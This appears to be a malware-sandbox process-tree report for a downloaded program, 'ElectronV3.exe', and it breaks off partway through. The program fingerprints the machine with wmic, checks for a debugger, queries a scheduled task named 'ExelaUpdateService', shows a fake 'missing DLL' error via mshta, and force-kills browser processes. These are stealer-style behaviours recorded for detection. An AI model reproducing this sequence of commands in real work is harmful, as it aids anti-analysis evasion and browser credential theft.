- C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
  "C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
  2⤵
  - Loads dropped DLL
  PID:6548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:6756

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:564
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:4512
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1980 -parentBuildID 20240401114208 -prefsHandle 1908 -prefMapHandle 1900 -prefsLen 23839 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {372379a1-e3ac-4063-9d88-2390b90917c0} 4512 "\\.\pipe\gecko-crash-server-pipe.4512" gpu
    3⤵
    PID:5180
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2376 -parentBuildID 20240401114208 -prefsHandle 2372 -prefMapHandle 2368 -prefsLen 23717 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {62bc87f6-003e-4ae0-b8ab-034f3a44a644} 4512 "\\.\pipe\gecko-crash-server-pipe.4512" socket
    3⤵
    - Checks processor information in registry
    PID:5712
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3120 -childID 1 -isForBrowser -prefsHandle 2776 -prefMapHandle 2760 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 992 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4a43d3eb-c10e-41b4-840b-2c9a005a1db1} 4512 "\\.\pipe\gecko-crash-server-pipe.4512" tab
    3⤵
    PID:5176
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4180 -childID 2 -isForBrowser -prefsHandle 4172 -prefMapHandle 4168 -prefsLen 29091 -prefMapSize 244658 -jsInitHandle 992 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fc6fa56b-f343-4c39-92e4-863bf45d2edc} 4512 "\\.\pipe\gecko-crash-server-pipe.4512" tab
    3⤵
    PID:460
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4804 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4848 -prefMapHandle 4844 -prefsLen 29091 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b72f9515-3eb1-459d-bc76-4a4ff101e403} 4512 "\\.\pipe\gecko-crash-server-pipe.4512" utility
    3⤵
    - Checks processor information in registry
    PID:5592
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5148 -childID 3 -isForBrowser -prefsHandle 5112 -prefMapHandle 5116 -prefsLen 27097 -prefMapSize 244658 -jsInitHandle 992 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a66f533c-1ea3-4050-abd5-ee6f37651ddb} 4512 "\\.\pipe\gecko-crash-server-pipe.4512" tab
    3⤵
    PID:696
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5096 -childID 4 -isForBrowser -prefsHandle 5368 -prefMapHandle 5364 -prefsLen 27097 -prefMapSize 244658 -jsInitHandle 992 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f90d6ad6-e184-4fdc-a783-d0bd6e1f98bc} 4512 "\\.\pipe\gecko-crash-server-pipe.4512" tab
    3⤵
    PID:2100
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5496 -childID 5 -isForBrowser -prefsHandle 5576 -prefMapHandle 5508 -prefsLen 27097 -prefMapSize 244658 -jsInitHandle 992 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0bf55ea4-bd59-4db7-8d9c-ad13b5bebe6e} 4512 "\\.\pipe\gecko-crash-server-pipe.4512" tab
    3⤵
    PID:4120
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4504 -childID 6 -isForBrowser -prefsHandle 2752 -prefMapHandle 5124 -prefsLen 28044 -prefMapSize 244658 -jsInitHandle 992 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {beff60d9-a11e-4aa4-913a-ccc3ea38da06} 4512 "\\.\pipe\gecko-crash-server-pipe.4512" tab
    3⤵
    PID:1084

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:6388

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:6772
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x228,0x22c,0x230,0x204,0x234,0x7fffe8cdcc40,0x7fffe8cdcc4c,0x7fffe8cdcc58
  2⤵
  PID:5232
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2000,i,3806205372574468984,12034516402465791643,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=1996 /prefetch:2
  2⤵
  PID:4640
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1976,i,3806205372574468984,12034516402465791643,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=2040 /prefetch:3
  2⤵
  PID:3852
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2280,i,3806205372574468984,12034516402465791643,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=2292 /prefetch:8
  2⤵
  PID:4672
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3152,i,3806205372574468984,12034516402465791643,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=3188 /prefetch:1
  2⤵
  PID:3508
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3160,i,3806205372574468984,12034516402465791643,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=3240 /prefetch:1
  2⤵
  PID:5240
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3156,i,3806205372574468984,12034516402465791643,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=4492 /prefetch:1
  2⤵
  PID:5196
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4752,i,3806205372574468984,12034516402465791643,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=4796 /prefetch:8
  2⤵
  PID:4068
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4928,i,3806205372574468984,12034516402465791643,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=4788 /prefetch:8
  2⤵
  PID:6012

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:6528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1616

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:4324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x144,0x148,0x14c,0x120,0x150,0x7fffd94546f8,0x7fffd9454708,0x7fffd9454718
  2⤵
  PID:5544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:2
  2⤵
  PID:4184
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3020 /prefetch:8
  2⤵
  PID:2068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3464 /prefetch:1
  2⤵
  PID:6668
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3472 /prefetch:1
  2⤵
  PID:1292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4556 /prefetch:1
  2⤵
  PID:680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5184 /prefetch:1
  2⤵
  PID:6648
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3460 /prefetch:8
  2⤵
  PID:2100
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3460 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5460 /prefetch:1
  2⤵
  PID:648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5652 /prefetch:1
  2⤵
  PID:3212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5672 /prefetch:1
  2⤵
  PID:5344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5920 /prefetch:1
  2⤵
  PID:5700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5532 /prefetch:1
  2⤵
  PID:5180
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4452 /prefetch:1
  2⤵
  PID:2960
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5956 /prefetch:1
  2⤵
  PID:4960
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5760 /prefetch:1
  2⤵
  PID:7044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6336 /prefetch:1
  2⤵
  PID:1688
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6480 /prefetch:1
  2⤵
  PID:1192
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5708 /prefetch:1
  2⤵
  PID:6152
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6892 /prefetch:1
  2⤵
  PID:7032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5644 /prefetch:1
  2⤵
  PID:1152
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6436 /prefetch:1
  2⤵
  PID:852
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6428 /prefetch:1
  2⤵
  PID:2752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=7016 /prefetch:8
  2⤵
  PID:6728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4424 /prefetch:1
  2⤵
  PID:6684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2144,1681897069761041585,3698342179441401834,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4024 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6972

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6428

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3204

C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
"C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
1⤵
PID:6964
- C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
  "C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
  2⤵
  PID:6528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:5180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:416
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:1632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
    3⤵
    PID:6004
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get Manufacturer
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "gdb --version"
    3⤵
    PID:2756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:5992
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
    3⤵
    PID:4620
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path Win32_ComputerSystem get Manufacturer
      4⤵
      PID:4308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:2440
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:4604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:6936
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /query /TN "ExelaUpdateService""
    3⤵
    PID:1072
  - - C:\Windows\system32\schtasks.exe
      schtasks /query /TN "ExelaUpdateService"
      4⤵
      PID:4936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
    3⤵
    PID:6160
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
      4⤵
      PID:1688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:6172
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:7076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5232"
    3⤵
    PID:1872
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5232
      4⤵
      Kills process with taskkill
      PID:6488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4324"
    3⤵
    PID:2988
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4324
      4⤵
      Kills process with taskkill
      PID:5456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5544"
    3⤵
    PID:464
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5544
      4⤵
      Kills process with taskkill
      PID:2628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4184"
    3⤵
    PID:3804
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4184
      4⤵
      Kills process with taskkill
      PID:2992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3948"
    3⤵
    PID:4232
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3948
      4⤵
      Kills process with taskkill
      PID:6040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2068"
    3⤵
    PID:3800
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2068
      4⤵
      Kills process with taskkill
      PID:968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 680"
    3⤵
    PID:4188
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 680
      4⤵
      Kills process with taskkill
      PID:1172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3212"
    3⤵
    PID:5192
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3212
      4⤵
      Kills process with taskkill
      PID:7036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5700"
    3⤵
    PID:7068
  - - C:\Windows\system32\taskkill.exe
